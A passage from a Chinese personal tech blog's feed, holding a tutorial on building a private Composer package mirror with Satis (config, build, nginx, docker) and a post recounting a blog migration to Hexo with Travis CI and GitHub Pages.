class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span> <span class="attr">"type"</span><span class="punctuation">:</span> <span class="string">"git"</span><span class="punctuation">,</span> <span class="attr">"url"</span><span class="punctuation">:</span> <span class="string">"git@github.com:lihq1403/think-rbac.git"</span> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"require"</span><span class="punctuation">:</span><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"lihq1403/think-rbac"</span><span class="punctuation">:</span><span class="string">"*"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"archive"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"directory"</span><span class="punctuation">:</span> <span class="string">"dist"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"format"</span><span class="punctuation">:</span> <span class="string">"tar"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"prefix-url"</span><span class="punctuation">:</span> <span class="string">"http://packagist.test"</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><h6 id="参数说明"><a href="#参数说明" class="headerlink" title="参数说明"></a>参数说明</h6><ul><li>name : 仓库的名字,自己定义</li><li>homepage :仓库的主页地址</li><li>repositories :需要获取包的路径</li><li>requre : 指定获取哪些包(require-all:true 代表获取所有包)</li></ul><h6 id="archive-:缓存文件"><a href="#archive-:缓存文件" class="headerlink" title="archive :缓存文件"></a>archive :缓存文件</h6><blockquote><p>我们并不希望每次都clone,其实我们也可以缓存在我们的仓库中,这样每次update的时候就只用下载了</p></blockquote><ul><li>directory: 必需要的,表示生成的压缩包存放的目录,会在我们build时的目录中</li><li>format: 压缩包格式, zip(默认) tar</li><li>prefix-url: 下载链接的前缀的Url,默认会从homepage中取</li><li>skip-dev: 默认为假,是否跳过开发分支</li><li>absolute-directory: 绝对目录</li><li>whitelist: 白名单,只下载哪些</li><li>blacklist: 黑名单,不下载哪些</li><li>checksum: 可选,是否验证sha1</li></ul><h3 id="生成"><a href="#生成" class="headerlink" title="生成"></a>生成</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php bin/satis build satis.json public/</span><br></pre></td></tr></table></figure><p>执行命令,会生成包的缓存与web应用</p><h3 id="web访问"><a href="#web访问" class="headerlink" title="web访问"></a>web访问</h3><p>配置nginx指向刚刚生成的public就好了</p><p><img src="https://blog-1256184194.file.myqcloud.com/2019/12/25/a229bd967e245.png" alt="微信截图_20191225232725.png"></p><p>然后打开上面配置的homepage,看到如下就代表成功啦<br><img src="https://blog-1256184194.file.myqcloud.com/2019/12/25/a336af9832fbf.png" alt="微信截图_20191225232930.png"></p><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><p>我们只需要在项目中,添加本源即可</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"repositories"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"type"</span><span class="punctuation">:</span> <span class="string">"composer"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"url"</span><span class="punctuation">:</span> <span class="string">"http://packagist.test"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>然后就可以开开心心的<code>composer update</code>了</p><h2 id="docker安装"><a href="#docker安装" class="headerlink" title="docker安装"></a>docker安装</h2><h3 id="镜像拉取"><a href="#镜像拉取" class="headerlink" title="镜像拉取"></a>镜像拉取</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull composer/satis</span><br></pre></td></tr></table></figure><blockquote><p>ps 吐槽。pull的也太慢了吧,以后再尝试了,todo</p></blockquote><h2 id="satis-json详细说明"><a href="#satis-json详细说明" class="headerlink" title="satis.json详细说明"></a>satis.json详细说明</h2><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"MY SATIS"</span><span class="punctuation">,</span><span class="comment">//项目名称</span></span><br><span class="line"> <span class="attr">"homepage"</span><span class="punctuation">:</span> <span class="string">"http://satis.example.work"</span><span class="punctuation">,</span><span class="comment">//项目地址</span></span><br><span class="line"> <span class="attr">"repositories"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="comment">//指定获取包的仓库地址</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"type"</span><span class="punctuation">:</span> <span class="string">"vcs"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"url"</span><span class="punctuation">:</span> <span class="string">"git@gitlab.example.cn:xx/test.git"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"type"</span><span class="punctuation">:</span> <span class="string">"vcs"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"url"</span><span class="punctuation">:</span> <span class="string">"git@gitlab.example.cn:xx/weibo.git"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"><span class="comment">// 不再拉取packagist.org上的包,可节省大量时间</span></span><br><span class="line"> <span class="attr">"packagist.org"</span><span class="punctuation">:</span> <span class="keyword">false</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"require"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="comment">//指定可以获取包的版本,存在"require-all": true设置时将从仓库获取所有相关的依赖包,所以一般不设置。使用"require-all": true时就不能再从packagist.org上拉取包了,不然satis将会把所有packagist.org上的包都拉取下来</span></span><br><span class="line"> <span class="attr">"xx/test"</span><span class="punctuation">:</span> <span class="string">"*"</span><span class="punctuation">,</span><span class="comment">//尝试从以上两个配置好的仓库与管理员的全局配置中的仓库中拉取</span></span><br><span class="line"> <span class="attr">"laravel/laravel"</span><span class="punctuation">:</span> <span class="string">"5.6.21"</span><span class="punctuation">,</span><span class="comment">//由于以上两个仓库中没有该项目,所以将从管理员的全局配置文件中使用的仓库地址中拉取</span></span><br><span class="line"> <span class="attr">"xx/weibo"</span><span class="punctuation">:</span> <span class="string">"1.5.0|1.0.3"</span><span class="comment">//"*"为全部版本,"1.5.0|1.0.3"为1.5.0与1.0.3两个版本</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"archive"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="comment">//镜像缓存设置,该设置会缓存require配置项中各个仓库的代码</span></span><br><span class="line"> <span class="attr">"directory"</span><span class="punctuation">:</span> <span class="string">"dist"</span><span class="punctuation">,</span><span class="comment">//缓存目录名称</span></span><br><span class="line"> <span class="attr">"format"</span><span class="punctuation">:</span> <span class="string">"tar"</span><span class="punctuation">,</span><span class="comment">//缓存格式</span></span><br><span class="line"> <span class="attr">"prefix-url"</span><span class="punctuation">:</span> <span class="string">"http://satis.example.work"</span><span class="punctuation">,</span><span class="comment">//下载的前缀不要写成http://satis.example.work/不然链接将会出问题</span></span><br><span class="line"> <span class="attr">"skip-dev"</span><span class="punctuation">:</span> <span class="keyword">false</span><span class="comment">//是否跳过开发版本,一般为true,但我为了方便测试就选择了false</span></span><br><span class="line"><span class="comment">// 其他配置项:absolute-directory: 绝对目录</span></span><br><span class="line"><span class="comment">// whitelist: 白名单,只下载哪些</span></span><br><span class="line"><span class="comment">// blacklist: 黑名单,不下载哪些</span></span><br><span class="line"><span class="comment">// checksum: 可选,是否验证sha1</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"config"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="comment">//拉取代码时的配置</span></span><br><span class="line"> <span class="attr">"secure-http"</span><span class="punctuation">:</span><span class="keyword">false</span><span class="punctuation">,</span><span class="comment">//由于公司部分项目的存放地址可能使用http链接,所以此处设置为false</span></span><br><span class="line"> <span class="attr">"github-oauth"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="comment">//部分放在github中的项目需要提前配置好token避免拉取时再输入</span></span><br><span class="line"> <span class="attr">"github.com"</span><span class="punctuation">:</span> <span class="string">"83dxxxxxxxxxxx8888888800062"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"bitbucket-oauth"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"gitlab-oauth"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"gitlab-token"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"gitlab.example.cn"</span><span class="punctuation">:</span><span class="string">"zxxxxxxxxxxxQjZT"</span><span class="comment">//公司gitlab的token配置</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"http-basic"</span><span class="punctuation">:</span> <span class="punctuation">{</span><span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="tools" scheme="https://blog.lihq.xyz/tags/tools/"/>
</entry>
<entry>
<title>小破站迁移辛酸史</title>
<link href="https://blog.lihq.xyz/2019/12/14/migration-of-small-broken-stations/"/>
<id>https://blog.lihq.xyz/2019/12/14/migration-of-small-broken-stations/</id>
<published>2019-12-14T13:53:00.000Z</published>
<updated>2025-09-18T07:56:12.966Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="小破站迁移辛酸史"><a href="#小破站迁移辛酸史" class="headerlink" title="小破站迁移辛酸史"></a>小破站迁移辛酸史</h1><blockquote><p>还不是想体验一把漂亮的主题<del>(是因为穷)</del>,哈哈哈</p></blockquote><h2 id="初始方案"><a href="#初始方案" class="headerlink" title="初始方案"></a>初始方案</h2><h5 id="用到的工具"><a href="#用到的工具" class="headerlink" title="用到的工具"></a>用到的工具</h5><ul><li>Typecho</li><li>Vps</li></ul><p>一开始这样也确实不错,但是太平常了-.-,<code>PHP</code>+<code>MYSQL</code>+<code>NGINX</code>一把梭</p><h2 id="现在的方案"><a href="#现在的方案" class="headerlink" title="现在的方案"></a>现在的方案</h2><h5 id="用到的工具-1"><a href="#用到的工具-1" class="headerlink" title="用到的工具"></a>用到的工具</h5><ul><li>Hexo + Butterfly</li><li>Travis CI</li><li>GitHub Pages + Vps</li></ul><p>其实现在这样也是内容多多,但是也学到了很多东西呀,主要是用到了自动部署方案,以后只需要专注于写作就ok了</p><h2 id="踩坑记录"><a href="#踩坑记录" class="headerlink" title="踩坑记录"></a>踩坑记录</h2><ol><li>一开始我是用 <code>GitHub Pages</code> 和 <code>Coding Pages</code> 来部署双节点,用了一天之后,CodingPage就突然发问不了了,Bu和Go了一下,发现CodingPage就突然发问不了了好像确实不咋地,服务不稳定啊,那没办法了,还是部署一套在我的小水管上面吧</li><li>我的<a href="https://github.com/lihq1403/lihq1403.github.io/blob/hexo/.travis.yml">.travis.yml</a>文件给大家参考一下,主要是推送到<code>github</code>和<code>coding</code>上面,一开始是这方案,后面coding也就没有用了,但是也没删,就放着当备份呗</li><li>Vps上面的代码同步采用了WebHook来进行同步</li><li>使用 Git Subtree 管理主题版本,这样的话,以后切换主题妈妈就再也不用担心了</li><li>在域名服务商那边记得填写两个域名解析哦,一个是去<code>GitHub Pages</code>,一个是去自己的Vps</li><li><code>GitHub Pages</code>自定义域名记得在source下面放CNAME文件,不然好像过一会自定义域名就会掉</li><li><code>hexo d</code>了之后,代码确实有push到master上面,但是里面没有内容,没办法,我就只能在<a href="https://github.com/lihq1403/lihq1403.github.io/blob/hexo/.travis.yml">.travis.yml</a>里面用上了手动推送public目录</li><li>文章里面有很多部署细节我都没说,因为这些<a href="https://www.google.com/">G</a>一下或者<a href="https://www.baidu.com/">B</a>一下都可以获取的到哦,主要是提供一个思路就好啦</li></ol><h2 id="附上我的双节点"><a href="#附上我的双节点" class="headerlink" title="附上我的双节点"></a>附上我的双节点</h2><blockquote><p>果然很完美,我的小水管挺住</p></blockquote><p><img src="https://blog-1256184194.file.myqcloud.com/2019/12/23/c949b4c8c0542.png" alt=""></p><h2 id="博客"><a href="#博客" class="headerlink" title="博客"></a>博客</h2><blockquote><p>确实漂亮,没的说</p></blockquote><p><img src="https://blog-1256184194.file.myqcloud.com/2019/12/23/ec8fa1b1f6ee4.png" alt=""></p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="web" scheme="https://blog.lihq.xyz/tags/web/"/>
</entry>
</feed>